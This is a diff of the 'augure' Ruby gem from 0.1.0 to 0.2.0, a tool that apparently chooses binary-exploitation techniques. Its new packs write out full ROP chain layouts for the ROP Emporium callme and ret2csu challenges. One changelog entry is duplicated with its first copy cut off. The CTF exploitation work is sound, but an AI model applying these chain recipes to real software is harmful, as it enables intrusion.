augure 0.1.0 → 0.2.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: b0439bafc6950f3d38a680b8187ebbba52acc7c8d0a19e12cfff0bad82555b11
-  data.tar.gz: f9b6f194a5652122823106fa65dd5fc19f0630a2095d831da32300c5c7cc350c
+  metadata.gz: 6964404b275f484e9b4c5d29fede11ddef407226a1d72663f56c4d1dd766a0d8
+  data.tar.gz: b8d8d1cb25dae26d6b3af581988e297284e6f05469b33e3134b3196d305073de
 SHA512:
-  metadata.gz: a97621f43eccee16165e6ab913620e8d853b9ec7cdff3c381f2dadda689cecceb269c022b9a631eb31a3e98efb8e4f6e5561bd1232ac475785bab930163c9960
-  data.tar.gz: b428108f2757244c6da8316ef9047fb1944adf257317244bf230a4ab0acfb8c78ed9a655cf92ea218605bc6aeebcd81300da915b5f21a27b7ddfad7dd18ce28e
+  metadata.gz: 4964f38be7bf288d83aef415cd546437e5a9cb218593da497b9d3a4bde8f69d850554853568a60cdd23acc00bf4f86a87e2321544bf0d4caadd3d0a7248e7f76
+  data.tar.gz: 6d3254d5dd0e556f37477aec1da328663a598efcfaadaaec2a1b8d55f9453ac8e780aedce917340300d1accf14b65c6a47c4e792349dafba4b29ffe9dd017d14

data/CHANGELOG.md

@@ -7,6 +7,42 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+## [0.2.0] - 2026-10-29
+
+- The callme technique pack: three consecutive PLT calls with the
+  challenge's magic argument triple, the layout taught in the pack
+  (pop_rdi / pop_rsi_r15 / pop_rdx, no leak needed on the non-PIE
+  corpus binary), validated through the full armor.
+- The ret2csu_v2 pack's build layout now teaches the WIN call measured
+  end to end on the corpus binary: the csu pair populates rsi/rdx (the
+  newer gcc flavor truncates edi, rdi never rides the csu), the mov
+  block's mandatory call lands on _fini through the .dynamic DT_FINI
+  cell (a no-op call preserving every argument register), the
+  seven-slot junk slide absorbs the loop epilogue, then pop_rdi
+  carries the full 64-bit first argument. The canonical puts leak
+  stays documented as the reference variant.
+- Profiler: `pop rsi; pop r15; ret` joins the gadget vocabulary (the
+  callme flavor a bare `pop rsi; ret` scan cannot see).
+- Profiler: the csu gadgets are located by byte signature inside
+  __libc_csu_init's extent - the popper fact aims at the pop rbx
+  epilogue (the chain entry), not at the symbol entry; the mov block
+  is found through the call signature (both known compiler flavors).
+  The entry/+0x40 guess produced unexecutable addresses.
+- Profiler: a win-named IMPORT is not a win here - the ret2csu shape
+  imports its ret2win from the companion library (value 0); emitting
+  win_symbol for it made the ret2func layout build a jump to NULL.
+  Defined symbols only.
+- Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
+  printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
+  passed to gcc so the fixture really imports printf: gcc folds the call to puts
+
+- Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
+  printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
+  passed to gcc so the fixture really imports printf: gcc folds the call to puts
+  otherwise, making the vuln_hint exclusion test vacuous.
+- README badge: added Datalog (the pack rules engine is the project core).
+- README art recompressed: `augure-v0.png` 1.6M -> 642K, `augure-v1.png` 2.3M -> 1.1M
+  (256-color palette with dithering; repo weight only, no content change).
 - The `cve` fact (the CVE/KEV bridge): an agent or the operator proposes the CVE id as a fact (`cve("CVE-2024-1234").`) - the technique packs consume it like any observation. The schema + the atom grammar treat it as any string fact.
 
 - The pack DSL gains an optional `build:` section (the pack teaching the BUILDER its assembly

data/README.md

@@ -14,6 +14,7 @@
 [![Gem Version](https://img.shields.io/gem/v/augure)](https://rubygems.org/gems/augure)
 [![Ruby](https://img.shields.io/badge/ruby-%3E%3D%203.4-ruby.svg)](https://www.ruby-lang.org/)
 [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
+[![Datalog](https://img.shields.io/badge/Datalog-333333.svg)](packs/)
 
 Every exploitation framework answers *"how do I run this technique?"*.
 **Augure answers the question nobody automates: *"which technique should run,

data/docs/adr/0001-arch-abstraction-before-arm64.md

@@ -0,0 +1,34 @@
+# ADR 0001: the arch abstraction before any port
+
+## Status
+
+Accepted (2026-10-04). Execution planned after the spine repairs; the
+abstraction work happens opportunistically when the profiler files are
+touched anyway.
+
+## Context
+
+The x64/x86 branch is pasted six times across the profiler gem
+(profiler.rb:95, gadget_hunt.rb, static_offset.rb x2, shellcode.rb x2):
+arch selection, gadget byte patterns, frame-read heuristics, shellcode
+sources and encoder register names all assume x86/x64 inline. Adding a
+third architecture today means touching every one of those sites and
+hoping nothing was missed; the fact schema carries no arch field, so
+gadget type names (jmp_rsp vs jmp_esp) are the only implicit carrier.
+
+## Decision
+
+Extract an `AugureProfiler::Arch` abstraction FIRST, before any port:
+per-arch gadget byte patterns, word width, metasm cpu class, frame-read
+heuristics, and shellcode source keys. The six call sites become one
+lookup. Consumers (payload_builder, the encoders) read the abstraction,
+never the branch.
+
+## Consequences
+
+- A new arch (ARM64) becomes data plus one new Arch definition, not
+  surgery across six files - see ADR 0002.
+- The refactor is behavior-preserving for x64/x86: the frozen corpus
+  and the ROP Emporium parity job are the regression contract.
+- The fact schema gains an arch dimension only when a second arch
+  actually lands (YAGNI until then).

data/docs/adr/0002-arm64-deferred-until-abstraction.md

@@ -0,0 +1,31 @@
+# ADR 0002: ARM64 support is deferred, gated on the arch abstraction
+
+## Status
+
+Accepted (2026-10-04). Planned after ADR 0001's abstraction lands.
+
+## Context
+
+The modern CTF world is increasingly ARM64 (Raspberry Pi, phones,
+boards), and the tool is x86/x64-only. The decision layer (rules,
+packs, engine, bandit, MCTS) is architecture-neutral already; the cost
+is entirely in the profiler. Porting today, with the arch branch pasted
+six times (ADR 0001), is the expensive order of work.
+
+## Decision
+
+ARM64 comes AFTER the `AugureProfiler::Arch` abstraction. The port
+itself is then: arm64 gadget patterns, AArch64 cpu in GadgetHunt and
+StaticOffset, arm64 shellcode sources and equivalence pools, encoder
+register names. The pack DSL needs no change (a pack already says
+`match gadget csu` - the naming vocabulary carries the arch).
+
+## Consequences
+
+- We accept being x86/x64-only for now; that is where the current
+  corpus (33 frozen targets), the lab and the parity harness live.
+- The deferred port is cheap by construction: data plus one Arch, no
+  surgery. Anything profiling-shaped learned meanwhile (new gadget
+  classes, PE work) should be written arch-aware from the start.
+- QEMU user-mode targets can exercise arm64 profiling in CI when the
+  port lands.

data/docs/adr/0003-pe-mach-o-out-of-scope.md

@@ -0,0 +1,33 @@
+# ADR 0003: PE/Windows (and Mach-O) are out of scope for v0.x
+
+## Status
+
+Accepted (2026-10-04). A documented renouncement, not an oversight.
+
+## Context
+
+Professional red teams live substantially on Windows, and PE support
+would open that market. But the entire read path is ELF-specific:
+metasm ELF decoding, GNU_STACK/GNU_RELRO parsing, .plt/.plt.sec
+layouts, GOT mechanics in the layouts, the triage backends (gdb),
+checksec facts keyed to ELF structures. The fact schema itself
+(nx/pie/canary/relro...) is mostly reusable; the profiler is not.
+
+## Decision
+
+PE (and Mach-O) are out of scope for v0.x. No shim, no half-port, no
+"experimental" PE path that mislabels facts. When the abstraction debt
+from ADR 0001 is paid and the core loop (decide -> build -> run ->
+learn) is closed, a PE profiler is the natural second front - as a
+parallel Profiler class emitting the same fact vocabulary, with
+Windows-specific facts added to the schema deliberately.
+
+## Consequences
+
+- We renounce the Windows red-team market explicitly for now; the
+  positioning says binary exploitation on ELF/Linux, honestly.
+- The fact schema is designed to stay format-neutral so the future PE
+  emitter is additive, not a rewrite.
+- Nothing in the current rules or packs is expected to transfer
+  unvalidated: Windows techniques (FSOP, cfg bypass...) would enter as
+  packs with their own provenance, like every other technique.

data/docs/art/prompts.md

@@ -0,0 +1,60 @@
+# The roman banners
+
+The two README banners share one style and one set of prompts - kept
+here for reproducibility. Regenerate freely; keep the iconography.
+
+## Style commun
+
+Ultra-wide 16:3, dark charcoal, "modern antiquity": black marble,
+brass, toga silhouettes, data-stream light (amber + teal), flat
+vector minimalism, museum-poster aesthetic, NO TEXT (image models
+mangle letters).
+
+## augure (v1) - the augur reads the birds
+
+The augur's iconography: the LITUUS (the curved staff), the TEMPLUM
+(the sky divided in quadrants), the birds' flight = the signs read;
+the teal star at the convergence = the verdict.
+
+```
+Ultra-wide cinematic banner, 16:3, dark charcoal sky at dusk. A
+modern Roman AUGUR stands in profile on a high black-marble terrace:
+a hooded figure in a dark toga with a thin gold trim, holding a
+brass LITUUS - the curved augur staff - raised toward the sky. Above
+him, the night sky is divided into four large rectangular quadrants
+(the ancient templum, drawn in faint glowing gold lines), and
+through them fly BIRDS rendered as glowing amber data-arcs - each
+flight path traced with fine telemetry dots like instrument
+readings. One quadrant burns brighter: a teal star pulses at the
+convergence of the flight paths - the verdict the augur reads. Below
+the terrace, a dark circuit-board cityscape glitters. Roman
+antiquity fused with precision engineering: marble, brass, toga
+silhouette, data-stream birds. Flat vector minimalism with subtle
+gradients, high-end museum-poster aesthetic, muted amber/copper/teal
+on charcoal, NO TEXT, no letters, no logos.
+```
+
+## lictor (v1) - the fasces of fiber, the trail behind
+
+The lictor's iconography: the FASCES (the bound rods + the blade =
+the power to execute) rendered in fiber-optic; the luminous
+footprints behind = the trail; one door open, the others sealed; the
+laurel arch = the judgment carried out.
+
+```
+Ultra-wide cinematic banner, 16:3, dark charcoal. A modern Roman
+LICTOR walks left to right along a black-marble road in profile: a
+disciplined hooded figure in a dark toga, carrying on his shoulder
+the FASCES reimagined - a bundle of glowing fiber-optic rods bound
+together with a brass laurel band, one thin polished blade
+protruding from the bundle. Behind him, the road shows a trail of
+luminous teal footprints receding into the dark - every step
+recorded. Ahead of him stands a massive dark gate whose mechanisms
+(a gear, a lever, a coil) animate faintly with amber light as he
+approaches; one door stands open, lit from within. At the far right
+edge, a subtle laurel-wreath arch marks the destination. Roman
+antiquity fused with precision engineering: marble, brass, toga
+silhouette, fiber-optic fasces. Flat vector minimalism with subtle
+gradients, high-end museum-poster aesthetic, muted teal/copper/amber
+on charcoal, NO TEXT, no letters, no logos.
+```

data/{home/runner/work/augure/augure/lib → lib}/augure/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module Augure
-  VERSION = "0.1.0"
+  VERSION = "0.2.0"
 end

data/packs/callme.yml

@@ -0,0 +1,66 @@
+# Canonique: le modele de technique pack pour agents et operateurs.
+# Structure, vocabulaire et limites: voir docs/pack-format.md.
+technique: callme
+author: Gregory Epp
+source: https://ropemporium.com/challenge/callme.html
+
+rules:
+  - id: app_callme
+    head: [applicable, callme]
+    conditions:
+      - [fact, vuln, sof]
+      - [fact, nx, true]
+      - [fact, pie, false]
+      - [fact, plt, callme_one]
+      - [fact, plt, callme_two]
+      - [fact, plt, callme_three]
+      - [match, gadget, 0, pop_rdi]
+      - [match, gadget, 0, pop_rsi_r15]
+      - [match, gadget, 0, pop_rdx]
+
+kb:
+  - id: callme_001
+    technique: callme
+    description: >
+      Three consecutive PLT calls (callme_one/two/three), each with the
+      challenge's magic argument triple; the third call decrypts the
+      encrypted flag and prints it. rdi rides pop_rdi, rsi rides
+      pop_rsi_r15 (a dud r15 follows), rdx rides pop_rdx - all full
+      64-bit values, no leak needed (non-PIE, everything static).
+    chain: [pop_rdi, pop_rsi_r15, pop_rdx, callme_one, callme_two, callme_three]
+    unlocks: [flag]
+    success_rate: 0.9
+
+mcts:
+  requires: []
+  provides: [flag]
+  terminal: true
+  success: 0.85
+
+priors: [10, 1]
+
+# The assembly order, resolved by lictor's builder from the facts. The
+# argument triple is the corpus's magic (0xdeadbeefdeadbeef,
+# 0xcafebabecafebabe, 0xd00df00dd00df00d) written as decimal consts;
+# the r15 slot of pop_rsi_r15 is a dud (const:0). Measured on the
+# x86_64 corpus binary: no alignment word needed between the calls.
+build:
+  technique: callme
+  layout:
+    - [padding, measured_offset]
+    - [chain, "gadget:pop_rdi_ret", "const:16045690984833335023",
+       "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
+       "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_one",
+       "gadget:pop_rdi_ret", "const:16045690984833335023",
+       "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
+       "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_two",
+       "gadget:pop_rdi_ret", "const:16045690984833335023",
+       "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
+       "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_three"]
+
+# The defender side (the corpus read backwards): what this technique
+# looks like to the defenses. Armored by check 9.
+detection:
+  - channel: crash
+    signature: "three consecutive calls into one shared library through pop chains"
+    note: "the triplet pattern repeating three times on the stack"

data/packs/ret2csu_v2.yml

@@ -0,0 +1,68 @@
+# Canonique: le modele de technique pack pour agents et operateurs.
+# Structure, vocabulaire et limites: voir docs/pack-format.md.
+technique: ret2csu_v2
+author: Gregory Epp
+source: https://ropemporium.com/challenge/ret2csu.html
+
+rules:
+  - id: app_ret2csu_v2
+    head: [applicable, ret2csu_v2]
+    conditions:
+      - [fact, vuln, sof]
+      - [fact, nx, true]
+      - [match, gadget, 0, csu]
+
+kb:
+  - id: ret2csu_v2_001
+    technique: ret2csu_v2
+    description: >
+      __libc_csu_init universal gadget populates rdx/rsi in
+      gadget-sparse binaries; the popper and mov gadgets enable
+      controlled multi-argument calls. The newer gcc flavor (mov
+      rdx,r15; mov rsi,r14; mov edi,r13d) truncates edi to 32 bits, so
+      rdi NEVER rides the csu: a separate pop_rdi loads the full
+      64-bit first argument after the mov block. The mov block's
+      mandatory call lands on _fini through the .dynamic DT_FINI cell
+      (rbx=0: the cell holds a real function pointer, the call is a
+      no-op that preserves every argument register), the seven-slot
+      junk slide absorbs the loop epilogue.
+    chain: [csu_popper, csu_mov, pop_rdi, target_fn]
+    unlocks: [flag]
+    success_rate: 0.75
+
+mcts:
+  requires: []
+  provides: [flag]
+  terminal: true
+  success: 0.70
+
+priors: [14, 6]
+
+# The assembly order, resolved by lictor's builder from the facts: the
+# csu popper enters at pop rbx (the profiler aims the epilogue, not the
+# symbol entry), rbx=0 and rbp=1 end the loop after one call, r12 = the
+# .dynamic cell holding _fini's address (the DT_FINI entry at 0x600e48
+# on the x86_64 corpus binary, const in decimal), r14/r15 carry the
+# challenge's second and third magic arguments. The mov block's arg
+# mapping is the NEWER flavor (rdx=r15, rsi=r14, edi=r13d): the win
+# call is ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe,
+# 0xd00df00dd00df00d), measured end to end on the corpus binary. The
+# canonical puts(puts@got) leak stays the reference variant: swap the
+# consts to got_addr:puts and end the chain on a leak:main instead.
+build:
+  technique: ret2csu_v2
+  layout:
+    - [padding, measured_offset]
+    - [chain, "gadget:csu_popper", "const:0", "const:1", "const:6295112",
+       "const:0", "const:14627333968358193854", "const:14991902676702064653",
+       "gadget:csu_mov",
+       "const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0",
+       "gadget:pop_rdi_ret", "const:16045690984833335023", "plt_addr:ret2win"]
+
+
+# The defender side (the corpus read backwards): what this technique
+# looks like to the defenses. Armored by check 9.
+detection:
+  - channel: crash
+    signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
+    note: "the csu chain issuing calls"

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: augure
 version: !ruby/object:Gem::Version
-  version: 0.1.0
+  version: 0.2.0
 platform: ruby
 authors:
 - Gregory Epp
@@ -20,62 +20,65 @@ executables:
 extensions: []
 extra_rdoc_files: []
 files:
-- "/home/runner/work/augure/augure/docs/agent-snippet.md"
-- "/home/runner/work/augure/augure/docs/auditability.md"
-- "/home/runner/work/augure/augure/docs/build-format.md"
-- "/home/runner/work/augure/augure/docs/explanation-architecture.md"
-- "/home/runner/work/augure/augure/docs/how-to-swap-solver.md"
-- "/home/runner/work/augure/augure/docs/how-to-write-rules.md"
-- "/home/runner/work/augure/augure/docs/pack-format.md"
-- "/home/runner/work/augure/augure/docs/reference.md"
-- "/home/runner/work/augure/augure/docs/tutorial.md"
-- "/home/runner/work/augure/augure/examples/ret2win.facts"
-- "/home/runner/work/augure/augure/examples/split.facts"
-- "/home/runner/work/augure/augure/exe/augure"
-- "/home/runner/work/augure/augure/exe/augure-benchmark"
-- "/home/runner/work/augure/augure/lib/augure.rb"
-- "/home/runner/work/augure/augure/lib/augure/bandit.rb"
-- "/home/runner/work/augure/augure/lib/augure/coverage.rb"
-- "/home/runner/work/augure/augure/lib/augure/ctf_corpus.json"
-- "/home/runner/work/augure/augure/lib/augure/engine.rb"
-- "/home/runner/work/augure/augure/lib/augure/facts.rb"
-- "/home/runner/work/augure/augure/lib/augure/kb_corpus.json"
-- "/home/runner/work/augure/augure/lib/augure/knowledge_base.rb"
-- "/home/runner/work/augure/augure/lib/augure/mcts.rb"
-- "/home/runner/work/augure/augure/lib/augure/pack.rb"
-- "/home/runner/work/augure/augure/lib/augure/pack_loader.rb"
-- "/home/runner/work/augure/augure/lib/augure/parity.rb"
-- "/home/runner/work/augure/augure/lib/augure/pipeline.rb"
-- "/home/runner/work/augure/augure/lib/augure/priors.rb"
-- "/home/runner/work/augure/augure/lib/augure/rules.rb"
-- "/home/runner/work/augure/augure/lib/augure/smt_process.rb"
-- "/home/runner/work/augure/augure/lib/augure/verifier.rb"
-- "/home/runner/work/augure/augure/lib/augure/version.rb"
-- "/home/runner/work/augure/augure/packs/banner_leak.yml"
-- "/home/runner/work/augure/augure/packs/brop.yml"
-- "/home/runner/work/augure/augure/packs/fastbin_hook.yml"
-- "/home/runner/work/augure/augure/packs/got_partial_overwrite.yml"
-- "/home/runner/work/augure/augure/packs/got_partial_overwrite_deref.yml"
-- "/home/runner/work/augure/augure/packs/house_botcake.yml"
-- "/home/runner/work/augure/augure/packs/house_force.yml"
-- "/home/runner/work/augure/augure/packs/house_of_apple2.yml"
-- "/home/runner/work/augure/augure/packs/house_orange.yml"
-- "/home/runner/work/augure/augure/packs/jop.yml"
-- "/home/runner/work/augure/augure/packs/large_bin_attack.yml"
-- "/home/runner/work/augure/augure/packs/one_gadget.yml"
-- "/home/runner/work/augure/augure/packs/orw.yml"
-- "/home/runner/work/augure/augure/packs/ret2csu_v2.yml"
-- "/home/runner/work/augure/augure/packs/ret2dlresolve_x86.yml"
-- "/home/runner/work/augure/augure/packs/ret2partial_overwrite.yml"
-- "/home/runner/work/augure/augure/packs/ret2vdso.yml"
-- "/home/runner/work/augure/augure/packs/setcontext_srop.yml"
-- "/home/runner/work/augure/augure/packs/uaf_tcache.yml"
-- "/home/runner/work/augure/augure/packs/unsorted_bin_attack.yml"
 - CHANGELOG.md
 - LICENSE
 - README.md
+- docs/adr/0001-arch-abstraction-before-arm64.md
+- docs/adr/0002-arm64-deferred-until-abstraction.md
+- docs/adr/0003-pe-mach-o-out-of-scope.md
+- docs/agent-snippet.md
+- docs/art/prompts.md
+- docs/auditability.md
+- docs/build-format.md
+- docs/explanation-architecture.md
+- docs/how-to-swap-solver.md
+- docs/how-to-write-rules.md
+- docs/pack-format.md
+- docs/reference.md
+- docs/tutorial.md
+- examples/ret2win.facts
+- examples/split.facts
 - exe/augure
 - exe/augure-benchmark
+- lib/augure.rb
+- lib/augure/bandit.rb
+- lib/augure/coverage.rb
+- lib/augure/ctf_corpus.json
+- lib/augure/engine.rb
+- lib/augure/facts.rb
+- lib/augure/kb_corpus.json
+- lib/augure/knowledge_base.rb
+- lib/augure/mcts.rb
+- lib/augure/pack.rb
+- lib/augure/pack_loader.rb
+- lib/augure/parity.rb
+- lib/augure/pipeline.rb
+- lib/augure/priors.rb
+- lib/augure/rules.rb
+- lib/augure/smt_process.rb
+- lib/augure/verifier.rb
+- lib/augure/version.rb
+- packs/banner_leak.yml
+- packs/brop.yml
+- packs/callme.yml
+- packs/fastbin_hook.yml
+- packs/got_partial_overwrite.yml
+- packs/got_partial_overwrite_deref.yml
+- packs/house_botcake.yml
+- packs/house_force.yml
+- packs/house_of_apple2.yml
+- packs/house_orange.yml
+- packs/jop.yml
+- packs/large_bin_attack.yml
+- packs/one_gadget.yml
+- packs/orw.yml
+- packs/ret2csu_v2.yml
+- packs/ret2dlresolve_x86.yml
+- packs/ret2partial_overwrite.yml
+- packs/ret2vdso.yml
+- packs/setcontext_srop.yml
+- packs/uaf_tcache.yml
+- packs/unsorted_bin_attack.yml
 homepage: https://github.com/log0u7/augure
 licenses:
 - MIT

data/home/runner/work/augure/augure/exe/augure

@@ -1,181 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-require "json"
-require "optparse"
-require_relative "../lib/augure"
-
-VERSION_LINE = "augure #{Augure::VERSION}"
-
-options = {json: false, seed: nil}
-parser = OptionParser.new do |opts|
-  opts.banner = <<~USAGE
-
-    #{VERSION_LINE} - the auditable exploitation decision layer
-
-    Usage:
-      augure analyze <facts-file | -> [options]   decide on facts
-      augure coverage [options]                   the corpus read backwards (defender side)
-      augure doctor                               verify the environment
-      augure rules                                print the rules-as-data table
-      augure explain <technique>                  rules + knowledge for one technique
-      augure --version                            print the version
-
-    analyze options:
-  USAGE
-  opts.on("-j", "--json", "Emit the decision as JSON (schema: augure/decision@1)") { options[:json] = true }
-  opts.on("-s", "--seed N", Integer, "Seed for deterministic bandit/MCTS") { |n| options[:seed] = n }
-  opts.on("--packs DIR", "Load technique packs (armor + corpus guard) for analyze/explain") { |v| options[:packs] = v }
-  opts.on("--flip NAME:VALUE", "Coverage: a hardening flip (nx:true, canary:true, relro:full; NAME:nil removes)") do |v|
-    name, value = v.split(":", 2)
-    (options[:flips] ||= {})[name] = ((value == "nil") ? nil : value)
-  end
-  opts.on("--facts FILE", "Coverage: one facts entry instead of the corpus") { |v| options[:facts_entry] = v }
-  opts.on("--mitre", "rules: export the ATT&CK navigator layer (from the packs' mitre: fields)") { options[:mitre] = true }
-  opts.on("--version", "Print the version") do
-    puts VERSION_LINE
-    exit 0
-  end
-  opts.on("-h", "--help", "Show this help") do
-    puts opts
-    exit 0
-  end
-end
-parser.parse!
-
-command = ARGV.shift
-
-case command
-when "--version", "-v"
-  puts VERSION_LINE
-when "doctor"
-  checks = []
-  checks << ["ruby >= 3.4", (RUBY_VERSION >= "3.4") ? nil : "upgrade ruby (mise install ruby@3.4)"]
-  checks << [VERSION_LINE, nil]
-
-  # The corpus self-verifies: parse a shipped example, decide, compare.
-  begin
-    example = File.join(__dir__, "../examples/ret2win.facts")
-    result = Augure::Pipeline.analyze(facts: File.read(example))
-    checks << if result[:ranking].first == "ret2func"
-      ["corpus self-test (selected: ret2func)", nil]
-    else
-      ["corpus self-test", "corpus example decided differently - report a bug"]
-    end
-  rescue => e
-    checks << ["corpus self-test", e.message]
-  end
-
-  solvers = %w[z3 bitwuzla cvc5].select do |s|
-    system("sh", "-c", "command -v '#{s}' >/dev/null 2>&1")
-  end
-  checks << ["SMT solvers",
-    solvers.empty? ? "optional - none found; the arithmetic path works without (apt install z3 for the SMT path)" : "optional, found: #{solvers.join(", ")}"]
-
-  failed = false
-  checks.each do |name, problem|
-    if problem&.start_with?("optional")
-      puts "  opt   #{name} - #{problem}"
-    elsif problem
-      failed = true
-      puts "  FAIL  #{name} - fix: #{problem}"
-    else
-      puts "  ok    #{name}"
-    end
-  end
-  if failed
-    n = checks.count { |_, p| p && !p.start_with?("optional") }
-    abort("augure: doctor found #{n} issue(s) - fixes above")
-  end
-when "rules"
-  if options[:mitre]
-    mitre_by_pack = {}
-    packs_dir = options[:packs] || "packs"
-    Dir.glob(File.expand_path(File.join(packs_dir, "*.yml"))).each do |path|
-      pack = Augure::Pack.load_file(path)
-      (mitre_by_pack[pack.technique] = pack.mitre) if pack.mitre
-    rescue
-      nil
-    end
-    if options[:json]
-      puts JSON.pretty_generate("schema" => "augure/mitre-navigator@1", "layers" => [{
-        "name" => "augure techniques", "versions" => {"attack" => "14", "navigator" => "4.9"},
-        "techniques" => mitre_by_pack.map { |tech, codes| codes.map { |c| {"techniqueID" => c, "score" => 1, "comment" => tech} } }.flatten
-      }])
-      exit 0
-    end
-    mitre_by_pack.each { |tech, codes| puts "#{tech}\t#{codes.join(", ")}" }
-    exit 0
-  end
-  Augure::Rules.all.each do |rule|
-    puts rule.id
-    puts "  head: #{rule.head.join("=")}"
-    puts "  why:  #{rule.source}"
-  end
-when "explain"
-  technique = ARGV.shift or abort(parser.to_s)
-  packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
-  rules = Augure::Rules.all + packs.to_a.flat_map(&:rules)
-  rules = rules.select { |r| r.head == [Augure::Rules::APPLICABLE, technique] }
-  entries = Augure::KnowledgeBase.corpus_with(packs.to_a.flat_map(&:kb))
-    .select { |e| e["technique"] == technique }
-  if rules.empty? && entries.empty?
-    known = Augure::Rules.applicable_rules.map { |r| r.head[1] }.uniq.sort
-    abort("augure: unknown technique '#{technique}' - known: #{known.join(", ")}")
-  end
-  puts "technique: #{technique}"
-  rules.each do |rule|
-    puts "  rule: #{rule.id} - #{rule.source}"
-  end
-  entries.each do |e|
-    puts "  kb:   #{e["id"]} (success_rate #{e["success_rate"]})"
-    puts "        #{e["description"]}"
-  end
-when "coverage"
-  entries = if options[:facts_entry]
-    [{"suite" => "facts", "name" => File.basename(options[:facts_entry]),
-      "facts" => File.read(options[:facts_entry])}]
-  else
-    corpus = JSON.parse(File.read(File.expand_path("../lib/augure/ctf_corpus.json", __dir__)))
-    corpus["suites"].values.flatten
-  end
-  unless options[:flips]
-    abort("augure: coverage needs at least one --flip NAME:VALUE (nx:true, canary:true, relro:full)")
-  end
-  report = Augure::Coverage.report(entries, flips: options[:flips])
-  if options[:json]
-    puts JSON.pretty_generate("schema" => "augure/coverage@1", **report)
-    exit 0
-  end
-  entries.size
-  report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }
-  puts "the corpus read backwards: #{entries.size} targets, flips #{options[:flips].inspect}"
-  puts "targets that change their applicable set: #{report[:entries].count { |e| e[:lost] || e[:gained] } - report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }}"
-  report[:died].each { |tech, n| puts "  died:    #{tech}  (#{n} target(s))" }
-  report[:gained].each { |tech, n| puts "  gained:  #{tech}  (#{n} target(s))" }
-  puts "untouched targets: #{report[:survived_count]}"
-  puts "the remaining applicable techniques are the attacker's next moves - harden accordingly."
-when "analyze"
-  path = ARGV.shift or abort(parser.to_s)
-  input = (path == "-") ? $stdin.read : File.read(path)
-  begin
-    packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
-    result = Augure::Pipeline.analyze(facts: input, seed: options[:seed], packs: packs)
-    if options[:json]
-      puts JSON.pretty_generate({schema: "augure/decision@1"}.merge(result))
-    else
-      puts "applicable: #{result[:applicable].join(", ")}"
-      puts "selected:   #{result[:selected]}"
-      puts "plan:       #{result[:plan].join(" -> ")}"
-      result[:explain][:provenance].each do |tech, provs|
-        provs.each do |p|
-          puts "  #{tech} <- #{p[:rule]} (#{p[:evidence].map { |e| e.join("=") }.join(", ")})"
-        end
-      end
-    end
-  rescue Augure::MalformedFact, Augure::UnknownPredicate => e
-    abort("augure: #{e.message}")
-  end
-else
-  abort(parser.to_s)
-end

data/home/runner/work/augure/augure/exe/augure-benchmark

@@ -1,67 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-require "json"
-require "optparse"
-require_relative "../lib/augure"
-
-# Concordance benchmark against the frozen CTF corpus, in the spirit of the
-# Python prototype's benchmark harness: predictions vs documented truth,
-# per suite, with an explicit exit code gate.
-
-threshold = 1.00
-OptionParser.new do |opts|
-  opts.banner = "Usage: augure-benchmark <corpus.json> [--min-top1 N]"
-  opts.on("--min-top1 N", Float, "Fail below this top-1 concordance (default 1.00)") { |v| threshold = v }
-  opts.on("--version", "Print the version") do
-    puts "augure #{Augure::VERSION} (benchmark)"
-    exit 0
-  end
-end.parse!(ARGV)
-
-path = ARGV.shift or abort("Usage: augure-benchmark <corpus.json> [--min-top1 N]")
-corpus = JSON.parse(File.read(path))
-meta_priors = corpus.dig("meta", "priors")
-
-puts "  augure-benchmark: prediction vs documented ground truth"
-puts
-
-correct_top1 = 0
-correct_top3 = 0
-n = 0
-
-corpus["suites"].each do |suite, entries|
-  suite_ok1 = 0
-  suite_ok3 = 0
-  entries.each do |entry|
-    result = Augure::Pipeline.analyze(facts: entry["facts"], priors: meta_priors)
-    top3 = result[:ranking].first(3)
-    # An empty frozen verdict is a verdict: concordance = the engine
-    # reproduces it exactly (the pack layer owns the technique; the
-    # built-in table intentionally says nothing).
-    if entry["applicable"].empty?
-      ok = result[:applicable].empty?
-      suite_ok1 += 1 if ok
-      suite_ok3 += 1 if ok
-      next
-    end
-    suite_ok1 += 1 if result[:ranking].first == entry["truth"]
-    suite_ok3 += 1 if top3.include?(entry["truth"])
-  end
-  count = entries.size
-  n += count
-  correct_top1 += suite_ok1
-  correct_top3 += suite_ok3
-  puts format("  %-12s %d/%d top-1   %d/%d top-3",
-    suite, suite_ok1, count, suite_ok3, count)
-end
-
-puts
-pct = correct_top1.to_f / n
-puts format("  Top-1 concordance: %d/%d (%.0f%%)", correct_top1, n, pct * 100)
-puts format("  Top-3 concordance: %d/%d (%.0f%%)", correct_top3, n, (correct_top3.to_f / n) * 100)
-
-if pct < threshold
-  puts format("  BELOW THRESHOLD (%.0f%% < %.0f%%)", pct * 100, threshold * 100)
-  exit 1
-end

data/home/runner/work/augure/augure/packs/ret2csu_v2.yml

@@ -1,55 +0,0 @@
-# Canonique: le modele de technique pack pour agents et operateurs.
-# Structure, vocabulaire et limites: voir docs/pack-format.md.
-technique: ret2csu_v2
